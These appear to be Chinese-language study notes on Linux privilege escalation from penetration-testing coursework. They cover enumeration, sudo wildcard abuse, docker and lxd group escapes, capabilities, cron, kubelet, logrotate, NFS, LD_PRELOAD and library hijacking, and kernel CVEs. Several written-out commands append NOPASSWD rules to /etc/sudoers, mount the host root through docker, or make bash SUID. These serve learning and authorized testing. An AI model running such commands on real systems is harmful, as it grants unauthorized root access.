Linux 提权
信息收集
自动:
peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
可能存在可被用于提权的信息的查询方式
手动枚举
匠人精神这一块
Checklist
1 | # 操作系统版本 |
/etc/passwd 中密码 hash 值的算法
Algorithm | Hash |
---|---|
Salted MD5 | $1$ … |
SHA-256 | $5$ … |
SHA-512 | $6$ … |
BCrypt | $2a$ … |
Scrypt | $7$ … |
Argon2 | $argon2i$ … |
一些思路:
- 文件中的凭证泄露(登录其他用户、主机、服务)
- SUID/GUID/sudo/Capabilities/Cron…配置问题
- 利用高权限运行中的服务的漏洞
- 劫持高权限运行的应用
- 二进制程序漏洞
- 内核漏洞
examples
Wildcard Abuse
情景:在 sudo/cron 等有高权限执行的命令中包含 *
等通配符
原理:shell 在执行命令前会先处理通配符,将通配符展开,再构建最终命令
防护:避免使用 *
等通配符;使用 --
分隔符
假如 sudo -l
显示 (root) /bin/tar -czf /backups/user_backup.tar *
利用方式:
1 | # 进入一个可写文件夹 |
也可以执行脚本
1 | echo 'echo "your-username ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh |
Escaping Restricted Shells
参考:
https://0xffsec.com/handbook/shells/restricted-shells/
- 命令注入
shell 允许 ls -l
但不允许其他命令
1 | ls -l `touch success` |
- 命令替换:shell 允许使用反引号,
$()
进行命令替换,可以直接执行命令 - 命令链式调用:用
;
,|
等分割执行命令 - 环境变量
- shell 函数
1 | # 读取环境变量 |
特权组
LXC/LXD
1 | # 解压镜像 |
docker
1 | docker run -v /:/hostsystem -it ubuntu |
disk
有 /dev
中包含的任何设备的完全访问权限
可以使用 debugfs
以 root 权限访问整个文件系统
adm
能够读取 /var/log
中的所有日志,无法直接提权,可用于收集日志文件中的敏感数据
Capabilities
授权对象是进程,使进程在运行时有对应特权
一些 Capabilities:
cap_sys_admin
- 允许使用管理员权限执行操作,比如修改系统文件或者修改系统设置
cap_sys_chroot
- 运行更改当前进程的根目录,使其能够访问原本无法访问的文件和目录
cap_sys_ptrace
- 允许调试其他进程为
cap_sys_nice
- 允许提高或降低进程优先级
cap_sys_time
- 允许修改系统时间
cap_sys_resource
- 允许修改系统资源限制,例如打开 fd 数量或可以分配最大内存量
cap_sys_module
- 允许加载和卸载内核模块
cap_net_bind_service
- 允许绑定到网络端口
可用于提权的 Capabilities:
- 允许绑定到网络端口
cap_setuid
- 允许一个进程设置其有效的 uid,从而可以获取另一个用户的权限
cap_setgid
- 允许设置其有效 gid,从而获取另一个组的权限
cap_sys_admin
- 拥有广泛的管理权限,包括对 root 用户保留的许多操作能力,比如修改系统设置等
cap_dac_override
- 允许绕过文件的读取、写入和执行权限检查
cap_dac_override 修改/etc/passwd 提权 (除了移除 root 密码,还可以创建一个新 root,或者将当前用户 uid 改为 0 等提权方式)
1 | # 假设vim.basic 存在cap_dac_override |
Cron
每一项:分钟、小时、日期、月份、星期、[用户、]命令
字符:
*
:每一个- 在小时字段使用表示每小时
,
:分隔不连续的值-
:连续的范围/
:指定步长或频率
crontab
- 系统级 crontab
- /etc/crontab
- 配置文件目录
- /etc/cron.d/
- 用户个人,文件名为执行的用户
- /var/spool/cron/
- 存放可执行脚本的目录
- /etc/cron.hourly/
- /etc/cron.daily/
- /etc/cron.weekly/
- /etc/cron.monthly/
用户可以使用 crontab -l
列出自身 crontab 但无法读取别人的,可以使用 [pspy](DominicBreuker/pspy: Monitor linux processes without root permissions) 等工具监控进程
1 | ./pspy64 -pf -i 1000 |
Docker
允许使用 docker 提权的条件:
- 用户处于 docker 组
- 或 docker 设置了 suid
- 或用户有 sudo docker 的权限
Shared Directories(volume mounts)
可以使用只读或读写模式挂载主机的目录
Docker Socket
docker cli 可以使用 docker socket 和 docker daemon 进行通信
如果容器中存在 docker socket 文件,可以往容器中传入 docker 二进制文件,然后使用 socket 进行通信
1 | /tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app |
在主机中,docker socket 通常位于 /var/run/docker.sock
,如果用户有其可写权限,也可以利用提权
1 | docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash |
k8s
k8s 可以通过配置 kubelet
来允许 anonymous access
我们可以使用 kubeletctl
和 kubelet
进行交互,获取到 k8s 服务账户的 token 和 certificate(ca.crt),用于水平移动到集群的其他位置或者访问 Pod 和资源,使用 kubectl
交互
1 | # 提取 pod |
使用 kubectl
1 | # 列出权限 |
创建 pod yaml,然后创建新 pod 提权
1 | apiVersion: v1 |
1 | # 创建新 pod |
Logrotate
rotates, compresses, and mails system logs. 管理日志文件的工具
该工具通过 cron
定期启动,通过配置文件 /etc/logrotate.conf
控制
状态文件会记录对每个文件最后一次 rotate 的时间,可以用来寻找可写日志文件,可能存放的位置有:
/var/lib/logrotate.status
/var/lib/logrotate/logrotate.status
/var/lib/logrotate/status
利用条件:
- 对日志文件有 write 权限
- logrotate 必须以特权用户或者 root 用户运行
- 易受攻击的版本:
- 3.8.6
- 3.11.0
- 3.15.0
- 3.18.0
我们使用 whotwagner/logrotten 进行攻击
1 | # 编译 logrotten |
利用过程中发现获取到的反弹 shell 存活时间可能很短,可以 chmod 4777 $(which bash)
然后使用 bash -p
获得一个 root shell
Others
Screen
screen -v
检查版本
version 4.5.0
poc
1 |
|
弱 NFS 权限
创建一个 NFS volume 时可以设置多种选项,如果设置了 no_root_squash
(远程用户以本地 root 用户身份连接到共享时,可以在 NFS 服务器上以 root 用户身份创建文件。这将允许创建带有 SUID 位设置的恶意脚本/程序),可以用于在 NFS 服务器的主机上提权
NFS 主机配置文件:/etc/exports
前提假设
1 | $ cat /etc/exports |
创建 shell.c
1 | #include <stdio.h> |
编译上传
1 | gcc shell.c -o shell |
在 NFS 上提权
1 | cd /tmp |
Tmux Sessions 劫持
1 | tmux -S /shareds new -s debugsess |
LD_PRELOAD 提权
原理:LD_PRELOAD 环境变量可以用于指定优先加载的共享库,sudo 时指定恶意共享库进行加载提权
前提:有一个有 sudo 权限的用户
1 | $ sudo -l |
root.c
1 |
|
编译执行
1 | gcc -fPIC -shared -o root.so root.c -nostartfiles |
Shared Object 劫持
原理:文件以 root 运行时加载的共享库用户可写,可以被劫持,修改为恶意代码提权
用 ldd
查看二进制文件或共享库所需的共享库
1 | ldd filename |
RUNPATH
指定一个文件夹,其中的共享库会优先于其他文件夹,可以用 readelf
来查看
1 | readelf -d filename | grep PATH |
For example:
1 | # 发现加载了/development/libshared.so |
编写一个.so 实现 dbquery
src.c
1 |
|
编译运行
1 | htb-student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.so |
Python 库劫持
基本前提都是 Python 脚本如果被设置了 SUID/SGID 在运行时是高权限,我们可以通过劫持其 import 的库来提权
几种劫持方法:
- 错误的写权限
- import 了可以写的模块,可以通过修改对应模块来插入恶意代码
- 库路径
- 实际 import 的是低优先级路径的模块,我们对高优先级路径有写权限时,可以在其中创建一个同名模块来实现劫持,写入恶意代码
- 查看导入模块的顺序:
python3 -c 'import sys; print("\n".join(sys.path))'
- 查看模块位置:
pip3 show <module name>
- PYTHONPATH 环境变量
- PYTHONPATH 指出 Python 可以搜索哪些目录来 import 模块
- 对 python 有 sudo 权限:
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.p
sudo
大前提是有一个 sudoer 用户
- 1.8.31 - Ubuntu 20.04
- 1.8.27 - Debian 10
- 1.9.2 - Fedora 33
- and others
CVE-2019-14287:<1.8.28
Polkit
files:
- actions/policies(
/usr/share/polkit-1/actions/
) - rules(
/usr/share/polkit-1/rules.d/
) - local authority(
/etc/polkit-1/localauthority/50-local.d/
)
额外程序:
- pkexec
- 以另一个用户身份运行程序或 root 权限运行
- pkaction
- 可用于显示 actions
- pkcheck
- 用来检查一个进程是否被授权执行特定的操作
Dirty Pipe
Affected versions:
- Linux kernel versions newer than 5.8 are affected.
- So far the vulnerability has been patched in the following Linux kernel versions:
- 5.16.11
- 5.15.25
- 5.10.102
- You can learn more about the vulnerability here: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
Netfilter
Netfilter 是一个内核模块,提供诸如数据包过滤、网络地址转换等功能外,还提供了其他与防火墙相关的工具
功能:
- Packet defragmentation
- Connection tracking
- Network address translation (NAT)
当模块被激活时,所有 IP 数据包会在被转发到本机或远程系统的目标应用程序之前,由 Netfilter
进行检查
漏洞:(这些漏洞利用可能非常不稳定,可能会破坏系统)
- CVE-2021-22555
- Vulnerable kernel versions: 2.6 - 5.11
- CVE-2022-1015
- affects Linux kernel 5.4 through 5.6.10
- 可能会破坏内核
- CVE-2023-32233
- Linux Kernel up to version 6.3.1
lynis
类 unix 系统审计工具,可用于告知权限提升路径,并进行快速配置检查